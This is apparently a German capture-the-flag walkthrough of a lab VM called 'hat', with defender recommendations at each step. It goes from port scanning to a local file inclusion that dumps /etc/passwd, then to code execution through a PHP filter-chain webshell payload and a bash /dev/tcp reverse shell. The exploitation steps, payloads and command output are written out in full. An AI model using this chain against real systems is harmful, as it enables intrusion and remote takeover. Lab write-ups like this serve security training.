Beginn der Aufklärung zur Identifizierung des Ziels und zur Sammlung erster Informationen im Netzwerk 192.168.2.0/24.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.129
**Analyse:** Die Ziel-IP-Adresse für diesen Penetrationstest wird als `192.168.2.129` festgelegt.
**Bewertung:** Essentielle Information für alle folgenden Schritte. Die Verwendung einer Variable (z.B. `$IP`) wird empfohlen, um Konsistenz zu gewährleisten.
**Empfehlung (Pentester):** Ziel-IP in Variable speichern: `export IP=192.168.2.129`.
**Empfehlung (Admin):** Keine Aktion erforderlich.
ARP-Scan 192.168.2.129 08:00:27:8f:ef:5e PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan identifiziert das Ziel `192.168.2.129` im lokalen Netzwerk. Die MAC-Adresse `08:00:27:8f:ef:5e` und der zugehörige Hersteller "PCS Systemtechnik GmbH" deuten stark auf eine Oracle VirtualBox virtuelle Maschine hin.
**Bewertung:** Bestätigt die Erreichbarkeit des Ziels und liefert einen Hinweis auf die Virtualisierungsumgebung.
**Empfehlung (Pentester):** Notieren der MAC-Adresse und des VM-Hinweises.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk sind.
/etc/hosts 127.0.0.1 localhost 192.168.2.129 hat.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifers wurde bearbeitet, um der Ziel-IP `192.168.2.129` den Hostnamen `hat.nyx` zuzuweisen.
**Bewertung:** Erleichtert die Ansprache des Ziels, insbesondere bei Webanwendungen, die auf Hostnamen reagieren.
**Empfehlung (Pentester):** Standardpraxis, um die Enumeration zu vereinfachen.
**Empfehlung (Admin):** Korrekte interne DNS-Konfiguration ist vorzuziehen.
Nmap IPv6 Scan : - IPv6 Adresse: fe80a00:27ff:fe8f:ef5e%eth0: fe80ccf4:81ff:fe80:c5d4%eth0: - Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 15:08 CEST Nmap scan report for hat (fe80a00:27ff:fe8f:ef5e) Host is up (0.000090s latency). Not shown: 65533 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:8F:EF:5E (racle VirtualBox virtual NIC)
**Analyse:** Ein Nmap-Scan wird gegen die IPv6 Link-Local-Adresse (`fe80::...`) des Ziels durchgeführt (vermutlich ein schneller Port-Scan). Es werden zwei offene TCP-Ports gefunden: 22 (SSH) und 80 (HTTP). Die MAC-Adresse wird erneut bestätigt.
**Bewertung:** Der IPv6-Scan bestätigt die über IPv4 gefundenen Ports SSH und HTTP, findet aber nicht den späteren FTP-Port auf 65535. Dies könnte an der Art des IPv6-Scans liegen (z.B. nur Top-Ports gescannt) oder daran, dass der FTP-Dienst nur an die IPv4-Adresse gebunden ist.
**Empfehlung (Pentester):** Führen Sie immer Scans sowohl für IPv4 als auch für IPv6 durch, wenn beide aktiv sind. Notieren Sie die offenen Ports 22 und 80 als Angriffsvektoren.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Netzwerkkonfiguration für IPv6 genauso sicher ist wie für IPv4. Deaktivieren Sie IPv6, wenn es nicht benötigt wird.
80/tcp open http Apache httpd 2.4.38 ((Debian)) 65535/tcp open ftp pyftpdlib 1.5.4
**Analyse:** Ein umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`) gegen die IPv4-Adresse (`$IP` = 192.168.2.129) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.
**Bewertung:** Dieser Scan liefert die entscheidenden Informationen: * **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian) - Eine bekannte, potenziell veraltete Version. * **Port 65535 (FTP):** Ein FTP-Server, der auf dem sehr ungewöhnlichen Port 65535 läuft. Die Software ist `pyftpdlib 1.5.4`. * **Port 22 (SSH):** Wird hier *nicht* als offen angezeigt, obwohl der vorherige IPv6-Scan ihn offen zeigte. Dies deutet darauf hin, dass Port 22 möglicherweise durch eine Firewall *nur für IPv4* gefiltert wird oder der Dienst nur an die IPv6-Adresse gebunden ist.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf Port 80 (Webserver) und Port 65535 (FTP). Untersuchen Sie die ungewöhnliche FTP-Konfiguration und die Apache-Version.
**Empfehlung (Admin):** Überprüfen Sie die Firewall-Regeln für IPv4 und IPv6 bezüglich Port 22. Stellen Sie sicher, dass der FTP-Server auf Port 65535 beabsichtigt ist und sicher konfiguriert wurde. Aktualisieren Sie Apache.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 15:08 CEST Nmap scan report for hat.nyx (192.168.2.129) Host is up (0.00019s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Apache2 Debian Default Page: It works 65535/tcp open ftp pyftpdlib 1.5.4 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.2.129:65535 | Waiting for username. | TYPE: ASCII; STRUcture: File; MDE: Stream | Data connection closed. |_End of status. MAC Address: 08:00:27:8F:EF:5E (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8, Linux 5.0 - 5.5 Network Distance: 1 hop TRACERUTE HP RTT ADDRESS 1 0.19 ms hat.nyx (192.168.2.129)
**Analyse:** Dies ist die vollständige Ausgabe des vorherigen Nmap TCP-Scans. Sie bestätigt die Ergebnisse und liefert zusätzliche Details:
* **Port 22 (SSH):** Wird explizit als `filtered` angezeigt. Das bedeutet, Nmap konnte nicht feststellen, ob der Port offen oder geschlossen ist, da Pakete blockiert wurden (wahrscheinlich durch eine Firewall). * **Port 80 (HTTP):** Zeigt den Titel der Apache-Standardseite ("Apache2 Debian Default Page: It works"). * **Port 65535 (FTP):** Das `ftp-syst`-Skript konnte sich verbinden, aber keine Systeminformationen abrufen, da ein Login erforderlich ist. Es bestätigt, dass der Server auf einen Benutzernamen wartet. * **OS-Erkennung:** Linux Kernel 4.x oder 5.x.**Bewertung:** Bestätigt die Angriffsvektoren HTTP (Port 80) und FTP (Port 65535). Der gefilterte SSH-Port ist vorerst weniger interessant. Die Apache-Standardseite deutet möglicherweise auf eine unvollständige Konfiguration hin.
**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration von Port 80 (Web) und versuchen Sie, den FTP-Server auf Port 65535 weiter zu untersuchen (z.B. Brute-Force von Anmeldedaten, Suche nach bekannten Schwachstellen in pyftpdlib 1.5.4).
**Empfehlung (Admin):** Überprüfen Sie die Firewall-Regel für Port 22/TCP auf IPv4. Stellen Sie sicher, dass die Apache-Konfiguration abgeschlossen ist und keine Standardseiten exponiert werden. Überprüfen Sie die FTP-Server-Konfiguration auf Sicherheit (Benutzer, Berechtigungen, anonymen Zugriff).
Wir untersuchen nun den Webserver auf Port 80 und den FTP-Server auf Port 65535 genauer.
: HTTP-Header Verbose Scan : * Trying 192.168.2.129:80... * Connected to 192.168.2.129 (192.168.2.129) port 80 > HEAD / HTTP/1.1 > Host: 192.168.2.129 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Date: Wed, 18 Sep 2024 13:09:14 GMT Date: Wed, 18 Sep 2024 13:09:14 GMT < Server: Apache/2.4.38 (Debian) Server: Apache/2.4.38 (Debian) < Last-Modified: Tue, 28 Sep 2021 13:45:26 GMT Last-Modified: Tue, 28 Sep 2021 13:45:26 GMT < ETag: "29cd-5cd0e6d12c9d8" ETag: "29cd-5cd0e6d12c9d8" < Accept-Ranges: bytes Accept-Ranges: bytes < Content-Length: 10701 Content-Length: 10701 < Vary: Accept-Encoding Vary: Accept-Encoding < Content-Type: text/html Content-Type: text/html < * Connection #0 to host 192.168.2.129 left intact
**Analyse:** `curl` wird verwendet, um die HTTP-Header der Startseite auf Port 80 abzurufen (`-I` für HEAD-Anfrage, `--verbose` und `-s` für detaillierte, aber saubere Ausgabe).
**Bewertung:** Bestätigt erneut den Server (Apache/2.4.38) und den Erfolgscode (200 OK). Der `ETag`-Header enthält möglicherweise eine Inode-Nummer (`29cd`), was auf eine potenzielle Informationspreisgabe hindeutet (von Nikto später bestätigt). Die `Content-Length` ist relativ groß (10701 Bytes) für eine Standardseite.
**Empfehlung (Pentester):** Untersuchen Sie die Startseite genauer. Der ETag-Wert könnte in spezifischen Szenarien nützlich sein, ist aber selten ein direkter Angriffsvektor.
**Empfehlung (Admin):** Konfigurieren Sie Apache, um keine Inode-Informationen in ETags preiszugeben (`FileETag MTime Size` statt `FileETag INode MTime Size`). Implementieren Sie fehlende Security-Header.
- Nikto v2.5.0 + Target IP: 192.168.2.129 + Target Hostname: 192.168.2.129 + Target Port: 80 + Start Time: 2024-09-18 15:09:16 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5cd0e6d12c9d8, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch. + PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD . (Hinweis: 'PST' statt 'POST' - wahrscheinlich Tippfehler im Originalbericht oder ungewöhnliche Methode) + /logs/: This might be interesting. + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/] + 8102 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2024-09-18 15:09:29 (GMT2) (13 seconds) + 1 host(s) tested
**Analyse:** Nikto-Scan auf Port 80.
**Bewertung:** Bestätigt frühere Funde und fügt hinzu: * **ETag Inode Leak:** Bestätigt die mögliche Preisgabe von Inode-Nummern via ETag (CVE-2003-1418, niedriges Risiko). * **Veraltetes Apache:** Erneuter Hinweis auf die veraltete Version 2.4.38. * **Erlaubte Methoden:** Listet `GET`, `PST` (statt POST?), `PTINS`, `HEAD`. Die Methoden `PST` und `PTINS` sind ungewöhnlich. * **Interessantes Verzeichnis:** `/logs/` wird als potenziell interessant markiert. * **Standard-Datei:** `/icons/README` ist vorhanden.
**Empfehlung (Pentester):** Untersuchen Sie das `/logs/`-Verzeichnis. Prüfen Sie die ungewöhnlichen HTTP-Methoden `PST` und `PTINS`. Suchen Sie nach bekannten Schwachstellen für Apache 2.4.38.
**Empfehlung (Admin):** Implementieren Sie fehlende Security-Header (`X-Frame-Options`, `X-Content-Type-Options`). Konfigurieren Sie ETags sicher. Aktualisieren Sie Apache. Deaktivieren Sie unnötige HTTP-Methoden. Beschränken Sie den Zugriff auf `/logs/` und `/icons/README`.
http://192.168.2.129/index.html (Status: 200) [Size: 10701] http://192.168.2.129/logs (Status: 301) [Size: 313] [--> http://192.168.2.129/logs/] http://192.168.2.129/php-scripts (Status: 301) [Size: 320] [--> http://192.168.2.129/php-scripts/] Progress: 13677696 / 13677758 (100.00%)
**Analyse:** Gobuster wird verwendet, um Verzeichnisse und Dateien auf Port 80 zu finden. Es verwendet eine mittelgroße Wortliste und prüft viele Erweiterungen.
**Bewertung:** Bestätigt `index.html` und das von Nikto gefundene `/logs`-Verzeichnis (mit Weiterleitung). Findet zusätzlich das Verzeichnis `/php-scripts` (mit Weiterleitung). Dieses Verzeichnis ist besonders interessant, da es auf PHP-basierte Funktionalität hindeutet.
**Empfehlung (Pentester):** Untersuchen Sie die Verzeichnisse `/logs/` und insbesondere `/php-scripts/` genauer mit Tools wie Gobuster, Feroxbuster oder Dirb, um darin enthaltene Dateien zu finden.
**Empfehlung (Admin):** Beschränken Sie den Zugriff auf nicht benötigte Verzeichnisse. Stellen Sie sicher, dass Skripte in `/php-scripts/` sicher sind und keine Schwachstellen enthalten.
+ http://192.168.2.129/logs/index.html (CDE:200|SIZE:4)
DWNLADED: 4612 - FUND: 1
**Analyse:** Dirb wird verwendet, um das zuvor gefundene Verzeichnis `/logs/` zu durchsuchen.
**Bewertung:** Findet nur eine `index.html`-Datei mit einer sehr kleinen Größe (4 Bytes). Dies deutet darauf hin, dass das Verzeichnis existiert, aber entweder leer ist oder der Inhalt anderweitig geschützt ist (z.B. durch Berechtigungen oder Konfiguration).
**Empfehlung (Pentester):** Das Verzeichnis `/logs/` scheint vorerst keine nützlichen Informationen zu liefern. Konzentrieren Sie sich auf `/php-scripts/` und den FTP-Server.
**Empfehlung (Admin):** Stellen Sie sicher, dass Log-Verzeichnisse nicht über das Web zugänglich sind oder entsprechend geschützt werden.
Connected to 192.168.2.129. 220 pyftpdlib 1.5.4 ready. Name (192.168.2.129:ccat): anonymous 331 Username ok, send password. Password: 530 Anonymous access not allowed. ftp: Login failed ftp>
**Analyse:** Ein Verbindungsversuch zum FTP-Server auf Port 65535 (`-P 65535`) wird unternommen. Es wird versucht, sich anonym anzumelden.
**Bewertung:** Der Server läuft (`220 pyftpdlib 1.5.4 ready.`). Anonyme Anmeldung ist jedoch nicht erlaubt (`530 Anonymous access not allowed.`).
**Empfehlung (Pentester):** Versuchen Sie, gültige Anmeldedaten durch Brute-Force zu finden oder suchen Sie nach Standard-Credentials für pyftpdlib. Suchen Sie nach bekannten Schwachstellen in pyftpdlib 1.5.4.
**Empfehlung (Admin):** Deaktivieren Sie den anonymen FTP-Zugriff, wenn er nicht benötigt wird. Verwenden Sie starke Passwörter für alle FTP-Benutzer. Halten Sie die FTP-Server-Software aktuell.
(UNKNWN) [192.168.2.129] 65535 (?) open
220 pyftpdlib 1.5.4 ready.
**Analyse:** Eine einfache Netcat-Verbindung (`nc -nv`) zum FTP-Port 65535 wird hergestellt.
**Bewertung:** Bestätigt lediglich, dass der Port offen ist und der FTP-Server antwortet. Liefert keine neuen Informationen gegenüber dem `ftp`-Befehl oder Nmap.
**Empfehlung (Pentester):** Dieser Schritt ist redundant, kann aber zur schnellen Überprüfung der Erreichbarkeit dienen.
**Empfehlung (Admin):** Keine Aktion erforderlich.
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.4 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.2.129/php-scripts 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/big.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.4 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ [Link: https://github.com/epi052/feroxbuster/releases/latest | Ziel: https://github.com/epi052/feroxbuster/releases/latest] ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 9l 28w 320c http://192.168.2.129/php-scripts => http://192.168.2.129/php-scripts/ 200 GET 0l 0w 0c http://192.168.2.129/php-scripts/file.php 200 GET 7l 0w 7c http://192.168.2.129/php-scripts/index.html [] - 50s 552906/552906 0s found:3 errors:0 [] - 49s 552879/552879 11228/s http://192.168.2.129/php-scripts/
**Analyse:** Feroxbuster wird verwendet, um das Verzeichnis `/php-scripts/` aggressiver zu durchsuchen. Es nutzt eine große Wortliste (`big.txt`) und prüft auf eine breite Palette von Erweiterungen (`-x ...`).
**Bewertung:** Feroxbuster findet zwei interessante Dateien im Verzeichnis `/php-scripts/`: * `index.html`: Eine kleine HTML-Datei (7 Bytes). * `file.php`: Eine PHP-Datei, die mit Status 200 antwortet, aber eine Größe von 0 Bytes hat. PHP-Dateien mit Größe 0 sind ungewöhnlich und könnten auf dynamische Inhalte oder ein Problem hindeuten. Der Name `file.php` ist jedoch sehr generisch und könnte auf eine Funktion zum Laden oder Anzeigen von Dateien hindeuten.
**Empfehlung (Pentester):** Untersuchen Sie `file.php` genauer. Versuchen Sie, Parameter an das Skript zu übergeben (z.B. `file.php?file=test`, `file.php?page=test`, `file.php?id=test`). Führen Sie Fuzzing auf Parameter für `file.php` durch.
**Empfehlung (Admin):** Überprüfen Sie den Quellcode von `file.php` auf Schwachstellen, insbesondere Local File Inclusion (LFI) oder Remote File Inclusion (RFI).
Fuzzing nach Local-File-Inclusion
Target: http://192.168.2.129/php-scripts/file.php?FUZZ=../../../../../etc/passwd = ID Response Lines Word Chars Payload = 000000088: 200 26 L 38 W 1404 Ch "6" Total time: 40.25172 Processed Requests: 7103 Filtered Requests: 7102 Requests/sec.: 176.4644
**Analyse:** Wfuzz wird für Parameter-Fuzzing eingesetzt (`-w ...` für Wortliste, `-u ...` für URL mit `FUZZ`-Platzhalter). Das Ziel ist es, einen Parameter zu finden, der eine Local File Inclusion (LFI) in `file.php` ermöglicht. Die URL testet, ob ein Parameter (`FUZZ`) existiert, der den Wert `../../../../../etc/passwd` akzeptiert, um die Passwortdatei zu lesen. `--hc 404` blendet "Not Found"-Fehler aus, `--hh 0` blendet Antworten mit 0 Zeichen aus.
**Bewertung:** **Volltreffer!** Wfuzz findet heraus, dass die Anfrage mit dem Parameter `6` (`Payload: "6"`) erfolgreich ist (Status `200`) und eine Antwort mit 26 Zeilen, 38 Wörtern und 1404 Zeichen liefert. Diese Größe und Zeilenzahl passt sehr gut zum Inhalt einer typischen `/etc/passwd`-Datei unter Linux. Dies deutet stark auf eine LFI-Schwachstelle über den Parameter `6` hin.
**Empfehlung (Pentester):** Bestätigen Sie die LFI, indem Sie die URL `http://192.168.2.129/php-scripts/file.php?6=../../../../../etc/passwd` direkt aufrufen und den Inhalt prüfen. Nutzen Sie die LFI, um weitere sensible Dateien zu lesen (z.B. `/etc/shadow`, Konfigurationsdateien, SSH-Schlüssel, Quellcode der Anwendung selbst).
**Empfehlung (Admin):** Beheben Sie die LFI-Schwachstelle in `file.php` dringend! Implementieren Sie eine Whitelist-Validierung für Dateinamen oder verwenden Sie sicherere Methoden zum Einbinden von Dateien, die keine Benutzereingaben direkt verwenden. Deaktivieren Sie `allow_url_include` und `allow_url_fopen` in der `php.ini`, wenn nicht benötigt.
: Fuzzing Ende :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110/nonexistent:/usr/sbin/nologin sshd:x:105:65534/run/sshd:/usr/sbin/nologin cromiphi:x:1000:1000:cromiphi,,,:/home/cromiphi:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
**Analyse:** Der `curl`-Befehl ruft die URL auf, die Wfuzz als erfolgreich identifiziert hat.
**Bewertung:** Die Ausgabe ist der Inhalt der `/etc/passwd`-Datei des Zielsystems. Dies bestätigt zweifelsfrei die LFI-Schwachstelle im Skript `file.php` über den Parameter `6`.
**Empfehlung (Pentester):** Analysieren Sie die `/etc/passwd`-Datei auf interessante Benutzer (hier `root` und `cromiphi` mit `/bin/bash`-Shells). Versuchen Sie, die LFI zu nutzen, um RCE (Remote Code Execution) zu erreichen, z.B. durch Einbinden von Log-Dateien (Log Poisoning) oder über PHP-Wrapper wie `php://filter` oder `php://input`.
**Empfehlung (Admin):** Sofortige Behebung der LFI-Schwachstelle!
root:x:0:0:root:/root:/bin/bash cromiphi:x:1000:1000:cromiphi,,,:/home/cromiphi:/bin/bash
**Analyse:** Die vorherige `curl`-Anfrage wird wiederholt, aber die Ausgabe wird durch `grep bash` gefiltert, um nur Benutzer anzuzeigen, die eine Bash-Shell konfiguriert haben.
**Bewertung:** Hebt die relevanten Benutzer `root` und `cromiphi` hervor, die potenziell interaktive Logins erlauben könnten.
**Empfehlung (Pentester):** Diese Benutzer sind die primären Ziele für Brute-Force-Angriffe (falls SSH zugänglich wäre) oder für die Suche nach deren Anmeldedaten/Schlüsseln.
**Empfehlung (Admin):** Keine Aktion erforderlich, dies ist Teil der Informationssammlung.
Die gefundene LFI-Schwachstelle soll nun genutzt werden, um Remote Code Execution (RCE) zu erlangen und so initialen Zugriff auf das System zu bekommen. Eine vielversprechende Methode hierfür ist die Verwendung von PHP-Filtern (`php://filter`), um Code einzuschleusen und auszuführen.
**Analyse:** Der Pentester wechselt in ein Verzeichnis, das ein Tool namens `php_filter_chain_generator` enthält.
**Bewertung:** Dieses Tool wird verwendet, um komplexe PHP-Filterketten zu generieren, die oft genutzt werden, um LFI-Schwachstellen zu RCE zu eskalieren, insbesondere wenn direkte Code-Ausführung über Wrapper wie `php://input` nicht möglich ist.
**Empfehlung (Pentester):** Verwenden Sie das Tool, um einen Payload zu generieren, der einfachen PHP-Code ausführt (z.B. ``), um die RCE zu testen.
**Empfehlung (Admin):** Die beste Verteidigung ist die Behebung der LFI. Secure Coding Practices und Input Validation sind entscheidend.
[+] The following gadget chain will generate the following code : (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+) php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|....convert.base64-decode/resource=php://temp
**Analyse:** Das Skript `php_filter_chain_generator.py` wird aufgerufen, um eine Filterkette zu generieren. Das Ziel (`--chain`) ist es, den PHP-Code `` auf dem Server zu erzeugen und auszuführen. Dieser Code nimmt einen Befehl über den GET-Parameter `cmd` entgegen und führt ihn aus.
**Bewertung:** Das Skript gibt die benötigte, sehr lange Filterkette aus (`php://filter/.../resource=php://temp`). Diese Kette muss als Wert für den LFI-Parameter (`6`) in der URL verwendet werden.
**Empfehlung (Pentester):** Konstruieren Sie die URL: `http://192.168.2.129/php-scripts/file.php?6=[FILTERKETTE]&cmd=id`. Rufen Sie diese URL auf, um zu testen, ob der `id`-Befehl ausgeführt wird.
**Empfehlung (Admin):** LFI beheben. Zusätzlich können Web Application Firewalls (WAFs) versuchen, solche Filterketten zu erkennen, dies ist aber oft unzuverlässig.
[+] The following gadget chain will generate the following code : (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+) php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|....convert.base64-decode/resource=php://temp&cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data) 0$)
**Analyse:** Hier wird das Skript scheinbar erneut ausgeführt, aber die Ausgabe darunter (`uid=33(www-data)...`) ist wahrscheinlich das Ergebnis des *Aufrufs* der URL, die mit der *zuvor* generierten Filterkette und `&cmd=id` gebildet wurde. Die Ausgabe des Skripts selbst ist redundant.
**Bewertung:** **Erfolg! RCE bestätigt!** Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` ist das Ergebnis des `id`-Befehls, der über die LFI und die PHP-Filterkette auf dem Server ausgeführt wurde. Wir können nun beliebige Befehle als Benutzer `www-data` ausführen.
**Empfehlung (Pentester):** Nutzen Sie die RCE, um eine interaktive Reverse Shell zu erhalten.
**Empfehlung (Admin):** LFI sofort beheben!
**Kurzbeschreibung:** Die LFI-Schwachstelle in `file.php` (Parameter `6`) wird ausgenutzt, um mittels einer komplexen Kette von PHP-Filtern (`php://filter/...`) serverseitig den PHP-Code `` zu generieren und auszuführen. Dies ermöglicht die Ausführung beliebiger Betriebssystembefehle über den URL-Parameter `cmd`.
**Voraussetzungen:**
**Schritt 1: Generieren der Filterkette (bereits erfolgt)**
Die Kette `php://filter/.../resource=php://temp` wurde mit `php_filter_chain_generator.py` erzeugt, um `` auszuführen.
**Schritt 2: Testen der RCE mit 'id' (bereits erfolgt)**
Der Aufruf der URL mit der Filterkette und `&cmd=id` hat erfolgreich die Ausgabe des `id`-Befehls (`uid=33(www-data)...`) zurückgegeben.
**Schritt 3: Starten des Reverse-Shell-Listeners**
Auf dem Angreifersystem wird ein Netcat-Listener auf Port 5555 gestartet.
listening on [any] 5555 ...
**Analyse:** Netcat wird gestartet, um auf Port 5555 auf die eingehende Reverse Shell zu warten.
**Bewertung:** Standardvorgehen zur Vorbereitung auf den Empfang einer Shell.
**Empfehlung (Pentester/Admin):** Siehe vorherige Netcat-Empfehlungen.
**Schritt 4: Generieren und Ausführen des Reverse-Shell-Payloads**
Die Filterkette wird erneut generiert (redundant, aber gezeigt). Wichtiger ist der `cmd`-Parameter, der einen Bash-Reverse-Shell-Befehl enthält, der korrekt URL-kodiert ist.
[+] The following gadget chain will generate the following code : (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+) php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|....convert.base64-decode/resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27
**Analyse:** Die generierte Filterkette ist dieselbe, aber der entscheidende Teil ist der `cmd`-Parameter am Ende: `cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27`. Dies ist die URL-kodierte Version des Bash-Reverse-Shell-Befehls: `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/5555 0>&1'`. Dieser Befehl startet eine interaktive Bash-Shell und leitet deren Ein- und Ausgabe über eine TCP-Verbindung zum Angreifer (192.168.2.199) auf Port 5555 um.
**Bewertung:** Dies ist der finale Payload für den Initial Access. Wenn die URL `http://192.168.2.129/php-scripts/file.php?6=[FILTERKETTE]&cmd=[URL-ENCODED_REVERSE_SHELL]` aufgerufen wird, sollte eine Verbindung zum Netcat-Listener aufgebaut werden.
**Empfehlung (Pentester):** Rufen Sie die vollständige URL in einem Browser oder mit `curl` auf.
**Empfehlung (Admin):** LFI beheben! Egress-Filtering kann auch hier helfen, die ausgehende Shell-Verbindung zu blockieren.
listening on [any] 5555 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 43320 bash: cannot set terminal process group (444): Inappropriate ioctl for device bash: no job control in this shell www-data@hat:/var/www/html/php-scripts$
**Analyse:** Der Netcat-Listener empfängt die erwartete Verbindung vom Zielsystem (`192.168.2.129`). Es erscheinen einige Bash-Fehlermeldungen bezüglich der Terminal-Steuerung, was bei einfachen Reverse Shells normal ist. Entscheidend ist der erhaltene Prompt: `www-data@hat:/var/www/html/php-scripts$`.
**Bewertung:** **Initial Access erfolgreich!** Wir haben eine Shell als Benutzer `www-data` auf dem Zielsystem `hat` erhalten. Der POC war erfolgreich.
**Empfehlung (Pentester):** Stabilisieren Sie die Shell (z.B. `python -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`). Beginnen Sie mit der Enumeration für die Privilegienerweiterung.
**Empfehlung (Admin):** Analysieren Sie die Logs, beheben Sie die LFI-Schwachstelle, implementieren Sie präventive Maßnahmen (WAF, Egress-Filtering).
**Risikobewertung:** Hoch. Die LFI-Schwachstelle ermöglichte die Ausführung von beliebigem Code als `www-data`-Benutzer, was zur vollständigen Kompromittierung der Webanwendung und einem initialen Standbein auf dem Server führte.
**Empfehlungen (Zusammenfassung):**
Wir haben nun eine Shell als `www-data`. Der nächste Schritt ist die Privilegienerweiterung, um höhere Rechte zu erlangen, idealerweise als `root` oder als der Benutzer `cromiphi`, der in `/etc/passwd` identifiziert wurde.
